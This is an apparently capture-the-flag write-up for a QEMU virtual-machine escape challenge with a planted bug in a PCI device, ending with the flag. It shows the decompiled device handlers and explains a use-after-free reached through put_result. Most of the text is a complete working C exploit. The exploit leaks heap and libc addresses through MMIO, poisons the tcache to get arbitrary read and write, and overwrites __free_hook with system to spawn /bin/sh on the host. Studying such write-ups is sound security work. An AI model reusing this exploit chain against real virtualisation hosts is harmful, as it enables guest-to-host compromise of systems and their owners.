Rating: 1.5
Qemu with a preset vulnerability.
Just have fun and enjoy the game. :)
Running environment: Ubuntu 20.04
nc 13.52.35.2 10918
Thanks for the tips from Master remilia, or not I can't find the loophole at all.
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( LODWORD(req->total_size) && val <= 0x7E && val < (LODWORD(req->total_size) >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}
void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( LODWORD(req->total_size) && val <= 0x7E && val < (LODWORD(req->total_size) >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}
void __cdecl put_result(FunState *fun, uint32_t_0 val)
{
uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
result = val;
dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
}
To be honest, the put_result function has always been ignored by me, and I've always thought of it as the ordinary puts.
put_result
that can also trigger delete_req
will lead to illegal writing after deleting in handle_data_read
and illegal reading after deleting in handle_data_write
, just need to make fun->result_addr point to physical memory of the mmio device.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
void print_hex(unsigned char *addr, int size, int mode)
{
int i, ii;
unsigned long long temp;
switch (mode)
{
case 0:
for (i = 0; i < size;)
{
for (ii = 0; i < size && ii < 8; i++, ii++)
{
printf("%02X ", addr[i]);
}
printf(" ");
for (ii = 0; i < size && ii < 8; i++, ii++)
{
printf("%02X ", addr[i]);
}
puts("");
}
break;
case 1:
for (i = 0; i < size;)
{
temp = *(unsigned long long *)(addr + i);
for (ii = 0; i < size && ii < 8; i++, ii++)
{
printf("%02X ", addr[i]);
}
printf(" ");
printf("0x%llx\n", temp);
}
break;
}
}
char *mmio_mem;
size_t mmio_result;
#define MMIO_WRITE(addr, value) (*((uint32_t *)(mmio_mem + (addr))) = (value));
#define MMIO_READ(addr) (mmio_result = *((uint32_t *)(mmio_mem + (addr))));
char *get_phys_addr(char *vir_addr)
{
#define PFN_MASK ((((size_t)1) << 54) - 1)
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
size_t vir = (size_t)vir_addr;
// 0x1000 gets the n of the nth page, because a record data is 8 bytes, so *8, it is the offset of the record of the page in the file
size_t offset = vir / 0x1000 * 8;
if (lseek(fd, offset, SEEK_SET) == -1)
{
perror("lseek");
exit(EXIT_FAILURE);
}
size_t addr;
if (read(fd, &addr, 8) != 8)
{
perror("read");
exit(EXIT_FAILURE);
}
addr = (addr & PFN_MASK) * 0x1000;
return (char *)addr;
}
int main()
{
int mmio_fd, fd;
char *userspace, *pic_addr = NULL, *addr, *control_addr, *tcache, *Req;
char buf[0x100], tcache_raw[0x400], base64_buf[0x1000];
char *image_base, *puts_addr, *system_addr, *libc_addr, *__free_hook;
setbuf(stdout, NULL);
// Open and map I/O memory for the string device
mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
/* Get PCI physical address */
fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource", O_RDONLY);
if (fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
memset(buf, 0, sizeof(buf));
read(fd, buf, sizeof(buf));
close(fd);
sscanf(buf, "%p", &pic_addr);
printf("PIC address: %p\n", pic_addr);
mmio_mem = mmap((void *)0xabc0000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
userspace = mmap((void *)0x1230000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(userspace, 0, 0x1000);
printf("mmio_mem: %p\n", mmio_mem);
MMIO_WRITE(0, 0xbff); // size -> 0xc00
MMIO_WRITE(0x14, 0); // malloc
printf("phys: %p\n", get_phys_addr((char *)userspace));
MMIO_WRITE(0x4, (size_t)get_phys_addr(userspace)); // addr
MMIO_WRITE(0xc, 0); // index
MMIO_WRITE(0x8, (size_t)pic_addr + 0x18); // To trigger delete_req
memset(userspace, 0, 0x1000);
/* Use tcache_entry->key to leak tcache information and find opaque->req */
MMIO_READ(0x10); // illegal reading after deleting
// print_hex(userspace, 0x400, 1); // delete after read
Req = *(char **)(userspace + 0x80 + 0x3f * 8); // tcache_chunk->size = 0x410
printf("Req: %p\n", Req);
memcpy(tcache_raw, userspace, 0x400);
/* The principle is the same as above */
MMIO_WRITE(0, 0xbff); // size -> 0xc00
MMIO_WRITE(0x14, 0); // malloc
MMIO_WRITE(0xc, 1); // index
memset(userspace, 0, 0x1000); // initialize buffer
MMIO_READ(0x10); // illegal reading after deleting
// print_hex(userspace + 0x400, 0x40, 1); // delete after read
tcache = *(char **)(userspace + 0x400 + 8);
printf("tcache: %p\n", tcache);
/* Hijack tcache_entry->next to form a loop chain by illegal writing after deleting. */
MMIO_WRITE(0, 0xbff); // size -> 0xc00
MMIO_WRITE(0x14, 0); // malloc
MMIO_WRITE(0xc, 1); // index
memset(userspace, 0, 0x1000); // initialize buffer
*(char **)(userspace + 0x400 + 0) = Req; // double link
*(char **)(userspace + 0x400 + 8) = tcache; // tcache
MMIO_WRITE(0x10, 0); // illegal writing after deleting
/* Then we can Read and write at any address. */
MMIO_WRITE(0, 0xbff); // size -> 0xc00
MMIO_WRITE(0x14, 0); // malloc
MMIO_WRITE(0x8, 0); // disable the vulnerability
/* set address */
#define SET(address) \
memset(userspace, 0, 0x1000); \
*(int *)(userspace + 0x800 + 0) = 0xbff; \
*(char **)(userspace + 0x800 + 8) = (address); \
*(char **)(userspace + 0x800 + 0x10) = 0; \
*(char **)(userspace + 0x800 + 0x18) = Req; \
MMIO_WRITE(0xc, 2); \
MMIO_WRITE(0x10, 0); \
MMIO_WRITE(0xc, 0);
/* read memory */
#define READ(address) \
SET((address)); \
MMIO_READ(0x10);
/* I can only search memory addresses everywhere, but fortunately, there are many relative addresses of the program. */
printf("find: %p\n", *(char **)(tcache_raw + 92 * 8));
READ(*(char **)(tcache_raw + 92 * 8));
// print_hex(userspace, 0x400, 1); // show
addr = *(char **)(userspace + 108 * 8);
printf("find: %p\n", addr);
READ(addr);
// print_hex(userspace, 0x400, 0); // show
image_base = addr - 0x6761b0;
printf("image_base: %p\n", image_base);
addr = image_base + 0x100DD38;
READ(addr);
puts_addr = *(char **)userspace;
printf("puts_addr: %p\n", puts_addr);
libc_addr = puts_addr - 0x875a0;
system_addr = libc_addr + 0x55410;
__free_hook = libc_addr + 0x1eeb28;
/* getshell */
SET(__free_hook - 8);
strcpy(userspace, "/bin/sh");
*(char **)(userspace + 8) = system_addr;
MMIO_WRITE(0x10, 0); // dma_read
MMIO_WRITE(0x18, 0); // delete
puts("end");
return 0;
}
/* rwctf{OhhohohO_yoU_Got_mE} */